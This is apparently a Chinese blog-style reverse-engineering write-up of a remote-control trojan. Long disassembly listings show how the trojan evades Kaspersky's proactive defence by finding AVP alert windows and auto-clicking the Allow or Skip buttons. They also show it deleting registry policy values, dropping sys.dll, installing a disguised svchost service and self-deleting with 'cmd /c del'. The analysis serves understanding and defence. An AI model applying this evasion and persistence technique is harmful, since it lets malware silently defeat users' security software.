一个过主动防御的方法

来源：互联网发布：淘宝评价可以改差评吗编辑：程序博客网时间：2024/04/30 11:07

今天拿到一个过kaspersky主动防御而不改系统时间的远控马，于是分析下吧：

首先当然是创建线程：
push    esp             ; lpThreadId
push    0               ; dwCreationFlags
push    0               ; lpParameter
push    offset sub_409178 ; lpStartAddress
push    0               ; dwStackSize
push    0               ; lpThreadAttributes
call    CreateThread
pop     edx
retn
获得句柄：
push    105h            ; nSize
lea     eax, [esp+10Ch+Filename]
push    eax             ; lpFilename
push    0               ; hModule
call    GetModuleFileNameA
mov     ecx, eax
mov     edx, esp
mov     eax, ebx
call    sub_403DD4
jmp     short loc_402808

然后正式开始做坏事咯：

push    ebp
mov     ebp, esp
add     esp, 0FFFFFFF8h
push    ebx
xor     eax, eax
mov     [ebp+var_8], eax
xor     eax, eax
push    ebp
push    offset sub_408E55
push    dword ptr fs:[eax]
mov     fs:[eax], esp
xor     ebx, ebx
lea     eax, [ebp+var_8]
mov     edx, offset s_SoftwareMicro ; 'Software/Microsoft/Windows/CurrentVersion/Policies/system'
call    sub_403D7C
lea     eax, [ebp+hKey]
push    eax             ; phkResult
push    0F003Fh         ; samDesired
push    0               ; ulOptions
mov     eax, [ebp+var_8]
call    sub_404158
push    eax             ; lpSubKey
push    80000001h       ; hKey
call    RegOpenKeyExA_0
test    eax, eax
jnz     short loc_408E3F

哦？RegOpenKeyExA这是要干什么呢？
push    offset s_Disableregist ; "DisableRegistryTools"
mov     eax, [ebp+hKey]
push    eax             ; hKey
call    RegDeleteValueA
test    eax, eax
jnz     short loc_408E3D
哦原来是禁用了注册表咯
接着：
loc_4091FF:             ; uSize
push    100h
lea     eax, [ebp+Buffer]
push    eax             ; lpBuffer
call    GetWindowsDirectoryA
jmp     short loc_409236

得到系统目录后：
loc_40A451:
lea     edx, [ebp+var_1C]
mov     eax, 1
call    sub_4091CC
mov     edx, [ebp+var_1C]
mov     eax, offset dword_40CCD0
mov     ecx, offset s_Svchost_exe-k ; "svchost.exe -k remoteservice"
call    sub_403FA4
lea     edx, [ebp+var_20]
mov     eax, 1
call    sub_4091CC
mov     edx, [ebp+var_20]
mov     eax, offset dword_40CCCC
mov     ecx, offset s_Sys_dll_0 ; "sys.dll"
call    sub_403FA4
call    sub_40A030
test    al, al
jz      short loc_40A4FC

释放个sys.dll,然后：

push    ebp
mov     ebp, esp
push    0
push    ebx
xor     eax, eax
push    ebp
push    offset s_SCILYRemotese ; "閈b朶xFF/xFF腽嬅[Y]胷emoteservice"
push    dword ptr fs:[eax]
mov     fs:[eax], esp
xor     ebx, ebx
push    offset dword_40C8CC ; phkResult
push    20019h          ; samDesired
push    0               ; ulOptions
mov     eax, ds:off_40B2C4
call    sub_404158
push    eax             ; lpSubKey
push    80000002h       ; hKey
call    RegOpenKeyExA_0
test    eax, eax
jnz     short loc_40A0D3

mov     ds:dword_40CCC8, 3E9h
mov     eax, ds:dword_40CCC8
mov     ds:cbData, eax
mov     ds:Type, 7
push    offset cbData   ; lpcbData
push    offset Data     ; lpData
push    offset Type     ; lpType
push    0               ; lpReserved
push    (offset s_SCILYRemotese+0Dh) ; lpValueName
mov     eax, ds:dword_40C8CC
push    eax             ; hKey
call    RegQueryValueExA_0
test    eax, eax
jnz     short loc_40A0C8
又是注册表，看看写了虾米东西：
push    ebp
push    offset loc_40A572
push    dword ptr fs:[eax]
mov     fs:[eax], esp
lea     eax, [ebp+var_24]
mov     edx, offset s_RemoteNetwork ; "Remote network Help Control Service"
call    sub_403EC0
mov     eax, [ebp+var_24]
push    eax
mov     eax, ds:dword_40CCD0
call    sub_404158
mov     edx, eax
lea     eax, [ebp+var_28]
call    sub_403EC0
mov     ecx, [ebp+var_28]
mov     edx, offset s_RemoteNetwo_0 ; "Remote network Help Control Service"
mov     eax, ds:off_40B2C8
call    sub_409D6C
xor     eax, eax
pop     edx
pop     ecx
pop     ecx
mov     fs:[eax], edx
jmp     short loc_40A57C

其实服务名很烂，一看就是马
具体的服务信息：
push    ebp
mov     ebp, esp
add     esp, 0FFFFFFE0h
push    ebx
xor     ebx, ebx
mov     [ebp+var_20], ebx
mov     [ebp+var_C], ecx
mov     [ebp+var_8], edx
mov     [ebp+var_4], eax
mov     eax, [ebp+var_4]
call    sub_404148
mov     eax, [ebp+var_8]
call    sub_404148
mov     eax, [ebp+var_C]
call    sub_404148
mov     eax, [ebp+arg_0]
call    sub_404148
xor     eax, eax
push    ebp
push    offset sub_409EDD
push    dword ptr fs:[eax]
mov     fs:[eax], esp
mov     [ebp+var_D], 0
push    0F003Fh         ; dwDesiredAccess
push    0               ; lpDatabaseName
push    0               ; lpMachineName
call    OpenSCManagerA
mov     [ebp+hSCManager], eax
push    0               ; lpPassword
push    0               ; lpServiceStartName
push    0               ; lpDependencies
push    0               ; lpdwTagId
push    0               ; lpLoadOrderGroup
mov     eax, [ebp+var_C]
call    sub_404158
push    eax             ; lpBinaryPathName
push    0               ; dwErrorControl
push    2               ; dwStartType
push    110h            ; dwServiceType
push    0F01FFh         ; dwDesiredAccess
mov     eax, [ebp+var_8]
call    sub_404158
push    eax             ; lpDisplayName
mov     eax, [ebp+var_4]
call    sub_404158
push    eax             ; lpServiceName
mov     eax, [ebp+hSCManager]
push    eax             ; hSCManager 有兴趣的朋友可以算一下具体的配置信息咯；
call    CreateServiceA
mov     [ebp+hSCObject], eax
mov     eax, ds:off_40B420
cmp     dword ptr [eax], 0
jz      loc_409E9B

最后：
call    loc_409AD8
push    0               ; uCmdShow
call    GetCommandLineA_0
mov     edx, eax
lea     eax, [ebp+var_30]
call    sub_403EC0
mov     ecx, [ebp+var_30]
lea     eax, [ebp+var_2C]
mov     edx, offset s_CmdCDel ; "cmd /c del "
call    sub_403FA4
mov     eax, [ebp+var_2C]
call    sub_404158
push    eax             ; lpCmdLine
call    WinExec         不得不说，这么删除。。。实在很懒...... 真是奇怪？很普通的服务启动，跟鸽子一样，怎么能过卡巴呢？
原来如此：
00408F19 |. 68 FF000000   push    0FF                              ; /Count = FF (255.)
00408F1E |. 8D85 00FFFFFF lea     eax, dword ptr [ebp-100]         ; |
00408F24 |. 50            push    eax                              ; |Buffer
00408F25 |. 53            push    ebx                              ; |hWnd
00408F26 |. E8 19C0FFFF   call    <jmp.&user32.GetClassNameA>      ; /GetClassNameA 得到类名
00408F2B |. 68 FF000000   push    0FF                              ; /Count = FF (255.)
00408F30 |. 8D85 00FEFFFF lea     eax, dword ptr [ebp-200]         ; |
00408F36 |. 50            push    eax                              ; |Buffer
00408F37 |. 53            push    ebx                              ; |hWnd
00408F38 |. E8 1FC0FFFF   call    <jmp.&user32.GetWindowTextA>     ; /GetWindowTextA 得到窗体标题

开始寻找avp窗体,也就是kaspersky主程序
如果有kaspersky子窗体的button

00408F54 |. BA 98904000   mov     edx, 00409098                    ; avp.button
00408F59 |. E8 46B1FFFF   call    004040A4
00408F5E |. 0F85 F8000000 jnz     0040905C
00408F64 |. 8D95 F8FDFFFF lea     edx, dword ptr [ebp-208]
00408F6A |. 8D85 00FEFFFF lea     eax, dword ptr [ebp-200]
00408F70 |. E8 C3D0FFFF   call    00406038
00408F75 |. 8B85 F8FDFFFF mov     eax, dword ptr [ebp-208]
00408F7B |. BA AC904000   mov     edx, 004090AC                    ; 允许
00408F80 |. E8 1FB1FFFF   call    004040A4
00408F85 |. 0F84 B3000000 je      0040903E
00408F8B |. 8D95 F4FDFFFF lea     edx, dword ptr [ebp-20C]
00408F91 |. 8D85 00FEFFFF lea     eax, dword ptr [ebp-200]
00408F97 |. E8 9CD0FFFF   call    00406038
00408F9C |. 8B85 F4FDFFFF mov     eax, dword ptr [ebp-20C]
00408FA2 |. BA BC904000   mov     edx, 004090BC                    ; 跳过
00408FA7 |. E8 F8B0FFFF   call    004040A4
00408FAC |. 0F84 8C000000 je      0040903E
00408FB2 |. 8D95 F0FDFFFF lea     edx, dword ptr [ebp-210]
00408FB8 |. 8D85 00FEFFFF lea     eax, dword ptr [ebp-200]
00408FBE |. E8 75D0FFFF   call    00406038
00408FC3 |. 8B85 F0FDFFFF mov     eax, dword ptr [ebp-210]
00408FC9 |. BA CC904000   mov     edx, 004090CC                    ; "允许" 繁体都照顾到了，真强，希望下次英文的pass也有.
00408FCE |. E8 D1B0FFFF   call    004040A4
00408FD3 |. 74 69         je      short 0040903E
00408FD5 |. 8D95 ECFDFFFF lea     edx, dword ptr [ebp-214]
00408FDB |. 8D85 00FEFFFF lea     eax, dword ptr [ebp-200]
00408FE1 |. E8 52D0FFFF   call    00406038
00408FE6 |. 8B85 ECFDFFFF mov     eax, dword ptr [ebp-214]
00408FEC |. BA DC904000   mov     edx, 004090DC
00408FF1 |. E8 AEB0FFFF   call    004040A4
00408FF6 |. 74 46         je      short 0040903E
00408FF8 |. 8D95 E8FDFFFF lea     edx, dword ptr [ebp-218]
00408FFE |. 8D85 00FEFFFF lea     eax, dword ptr [ebp-200]
00409004 |. E8 2FD0FFFF   call    00406038
00409009 |. 8B85 E8FDFFFF mov     eax, dword ptr [ebp-218]
0040900F |. BA EC904000   mov     edx, 004090EC
00409014 |. E8 8BB0FFFF   call    004040A4
00409019 |. 74 23         je      short 0040903E
0040901B |. 8D95 E4FDFFFF lea     edx, dword ptr [ebp-21C][table=72%,#ffffff][tr][td=1,1,97%][/td][/tr][tr][td]00409021 |. 8D85 00FEFFFF lea     eax, dword ptr [ebp-200]
00409027 |. E8 0CD0FFFF   call    00406038
0040902C |. 8B85 E4FDFFFF mov     eax, dword ptr [ebp-21C]
00409032 |. BA FC904000   mov     edx, 004090FC
00409037 |. E8 68B0FFFF   call    004040A4
0040903C |. 75 1E         jnz     short 0040905C
0040903E |> 6A 00         push    0                                ; /lParam = 0
00409040 |. 6A 00         push    0                                ; |wParam = 0
00409042 |. 68 F5000000   push    0F5                              ; |Message = BM_CLICK
00409047 |. 53            push    ebx                              ; |hWnd
00409048 |. E8 27BFFFFF   call    <jmp.&user32.SendMessageA>       ; /SendMessageA
0040904D |. 6A 00         push    0                                ; /lParam = 0
0040904F |. 6A 00         push    0                                ; |wParam = 0
00409051 |. 68 F5000000   push    0F5                              ; |Message = BM_CLICK
00409056 |. 53            push    ebx                              ; |hWnd
00409057 |. E8 18BFFFFF   call    <jmp.&user32.SendMessageA>       ; /SendMessageA

BM_CLICK原形，MSDN:
Simulates the user clicking a button. This message causes the button to receive the WM_LBUTTONDOWN and WM_LBUTTONUP messages, and the button's parent window to receive a BN_CLICKED notification message

通过SendMessageA来点击允许，失败则点击跳过

00409104 /. 55            push    ebp
00409105 |. 8BEC          mov     ebp, esp
00409107 |. 6A 00         push    0                                ; /Title = NULL
00409109 |. 68 4C914000   push    0040914C                         ; |avp.product_notification
0040910E |. E8 29BEFFFF   call    <jmp.&user32.FindWindowA>        ; /FindWindowA
00409113 |. 85C0          test    eax, eax
00409115 |. 74 12         je      short 00409129
00409117 |. 6A 00         push    0                                ; /lParam = 0
00409119 |. 68 60F00000   push    0F060                            ; |wParam = F060
0040911E |. 68 12010000   push    112                              ; |Message = WM_SYSCOMMAND
00409123 |. 50            push    eax                              ; |hWnd
00409124 |. E8 4BBEFFFF   call    <jmp.&user32.SendMessageA>       ; /SendMessageA
00409129 |> 6A 00         push    0                                ; /Title = NULL
0040912B |. 68 68914000   push    00409168                         ; |avp.alertdialog
00409130 |. E8 07BEFFFF   call    <jmp.&user32.FindWindowA>        ; /FindWindowA
00409135 |. 85C0          test    eax, eax
00409137 |. 74 0D         je      short 00409146
00409139 |. 6A 00         push    0                                ; /lParam = 0
0040913B |. 68 C08E4000   push    00408EC0                         ; |Callback = server.00408EC0
00409140 |. 50            push    eax                              ; |hParent
00409141 |. E8 EEBDFFFF   call    <jmp.&user32.EnumChildWindows>   ; /EnumChildWindows
00409146 |> 5D            pop     ebp
00409147 /. C2 1400       retn    14
0040914A      00            db      00
0040914B      00            db      00
0040914C   . 41 56 50 2E 5>ascii   "AVP.Product_Noti"
0040915C   . 66 69 63 61 7>ascii   "fication",0
00409165      00            db      00
00409166      00            db      00
00409167      00            db      00
00409168   . 41 56 50 2E 4>ascii   "AVP.AlertDialog",0
00409178   . 6A 01         push    1
0040917A   . 6A 00         push    0
0040917C   . 68 04914000   push    00409104
00409181   . 6A 00         push    0
00409183   . 6A 01         push    1
00409185   . E8 5EF8FFFF   call    <jmp.&winmm.timeSetEvent>
0040918A   . A3 64C84000   mov     dword ptr [40C864], eax
0040918F   > 6A 00         push    0                                ; /MsgFilterMax = 0
00409191   . 6A 00         push    0                                ; |MsgFilterMin = 0
00409193   . 6A 00         push    0                                ; |hWnd = NULL
00409195   . 68 68C84000   push    0040C868                         ; |pMsg = server.0040C868
0040919A   . E8 ADBDFFFF   call    <jmp.&user32.GetMessageA>        ; /GetMessageA
枚举一个父窗口的所有子窗口，也就是EnumChildWindows,获取提示框信息,

这里看的出，如果kaspersky出现子窗口，而且含有跳过，允许，那么就会被程序控制......
00409185   . E8 5EF8FFFF   call    <jmp.&winmm.timeSetEvent>
0040918A   . A3 64C84000   mov     dword ptr [40C864], eax
0040918F   > 6A 00         push    0                                ; /MsgFilterMax = 0
00409191   . 6A 00         push    0                                ; |MsgFilterMin = 0
00409193   . 6A 00         push    0                                ; |hWnd = NULL
00409195   . 68 68C84000   push    0040C868                         ; |pMsg = server.0040C868
0040919A   . E8 ADBDFFFF   call    <jmp.&user32.GetMessageA>        ; /GetMessageA
0040919F   . 85C0          test    eax, eax
004091A1   .^ 75 EC         jnz     short 0040918F
004091A3   . C3            retn
004091A4 /$ 51            push    ecx
004091A5 |. 84C0          test    al, al
004091A7 |. 74 15         je      short 004091BE
004091A9 |. 54            push    esp                              ; /pThreadId
004091AA |. 6A 00         push    0                                ; |CreationFlags = 0
004091AC |. 6A 00         push    0                                ; |pThreadParm = NULL
004091AE |. 68 78914000   push    00409178                         ; |ThreadFunction = server.00409178
004091B3 |. 6A 00         push    0                                ; |StackSize = 0
004091B5 |. 6A 00         push    0                                ; |pSecurity = NULL
004091B7 |. E8 58BCFFFF   call    <jmp.&kernel32.CreateThread>     ; /CreateThread

使用计时器反复获得信息，最后如果成功跳过kaspersky则createthread.

得到系统目录：
当然前面还有个getversion,用于判断是winnt还是windows目录。
004091FF |> /68 00010000   push    100                              ; /BufSize = 100 (256.); Case 0 of switch 004091F3
00409204 |. 8D85 00FFFFFF lea     eax, dword ptr [ebp-100]         ; |
0040920A |. 50            push    eax                              ; |Buffer
0040920B |. E8 CCBCFFFF   call    <jmp.&kernel32.GetWindowsDirecto>; /GetWindowsDirectoryA
00409210 |. EB 24         jmp     short 00409236
00409212 |> 68 00010000   push    100                              ; /BufSize = 100 (256.); Case 1 of switch 004091F3
00409217 |. 8D85 00FFFFFF lea     eax, dword ptr [ebp-100]         ; |
0040921D |. 50            push    eax                              ; |Buffer
0040921E |. E8 99BCFFFF   call    <jmp.&kernel32.GetSystemDirector>; /GetSystemDirectoryA
00409223 |. EB 11         jmp     short 00409236
00409225 |> 8D85 00FFFFFF lea     eax, dword ptr [ebp-100]         ; Case 2 of switch 004091F3
0040922B |. 50            push    eax                              ; /Buffer
0040922C |. 68 00010000   push    100                              ; |BufSize = 100 (256.)
00409231 |. E8 8EBCFFFF   call    <jmp.&kernel32.GetTempPathA>     ; /GetTempPathA
00409236 |> 83FB 02       cmp     ebx, 2                           ; Default case of switch 004091F3

最后：
004092FC |. 50            push    eax                              ; |ResourceName
004092FD |. A1 60C64000   mov     eax, dword ptr [40C660]          ; |
00409302 |. 50            push    eax                              ; |hModule => NULL
00409303 |. E8 4CBBFFFF   call    <jmp.&kernel32.FindResourceA>    ; /FindResourceA
00409308 |. 8BD8          mov     ebx, eax
0040930A |. 85DB          test    ebx, ebx
0040930C |. 74 67         je      short 00409375
0040930E |. 53            push    ebx                              ; /hResource
0040930F |. A1 60C64000   mov     eax, dword ptr [40C660]          ; |
00409314 |. 50            push    eax                              ; |hModule => NULL
00409315 |. E8 D2BBFFFF   call    <jmp.&kernel32.LoadResource>     ; /LoadResource
0040931A |. 85C0          test    eax, eax
0040931C |. 74 57         je      short 00409375
0040931E |. 50            push    eax                              ; /hResource
0040931F |. E8 D0BBFFFF   call    <jmp.&kernel32.LockResource>     ; /LockResource
00409324 |. 8BF8          mov     edi, eax
00409326 |. 53            push    ebx                              ; /hResource
00409327 |. A1 60C64000   mov     eax, dword ptr [40C660]          ; |
0040932C |. 50            push    eax                              ; |hModule => NULL
0040932D |. E8 D2BBFFFF   call    <jmp.&kernel32.SizeofResource>   ; /SizeofResource
00409332 |. 8BD8          mov     ebx, eax
00409334 |. 85FF          test    edi, edi
00409336 |. 74 3D         je      short 00409375
00409338 |. 6A 00         push    0
0040933A |. 68 80000000   push    80
0040933F |. 6A 02         push    2
00409341 |. 6A 00         push    0
00409343 |. 6A 00         push    0
00409345 |. 68 000000C0   push    C0000000
0040934A |. 8B45 F4       mov     eax, dword ptr [ebp-C]
0040934D |. E8 06AEFFFF   call    00404158
00409352 |. 50            push    eax                              ; |FileName
00409353 |. E8 B4BAFFFF   call    <jmp.&kernel32.CreateFileA>      ; /CreateFileA
00409358 |. 8BF0          mov     esi, eax
0040935A |. 83FE FF       cmp     esi, -1
0040935D |. 74 16         je      short 00409375
0040935F |. 6A 00         push    0                                ; /pOverlapped = NULL
00409361 |. 8D45 EC       lea     eax, dword ptr [ebp-14]          ; |
00409364 |. 50            push    eax                              ; |pBytesWritten
00409365 |. 53            push    ebx                              ; |nBytesToWrite
00409366 |. 57            push    edi                              ; |Buffer
00409367 |. 56            push    esi                              ; |hFile
00409368 |. E8 AFBBFFFF   call    <jmp.&kernel32.WriteFile>        ; /WriteFile
0040936D |. 85C0          test    eax, eax
0040936F |. 74 04         je      short 00409375
00409371 |. C645 F3 01    mov     byte ptr [ebp-D], 1
00409375 |> 83FE FF       cmp     esi, -1
00409378 |. 74 06         je      short 00409380
0040937A |. 56            push    esi                              ; /hObject
0040937B |. E8 7CBAFFFF   call    <jmp.&kernel32.CloseHandle>      ; /CloseHandle

创建文件，关闭句柄。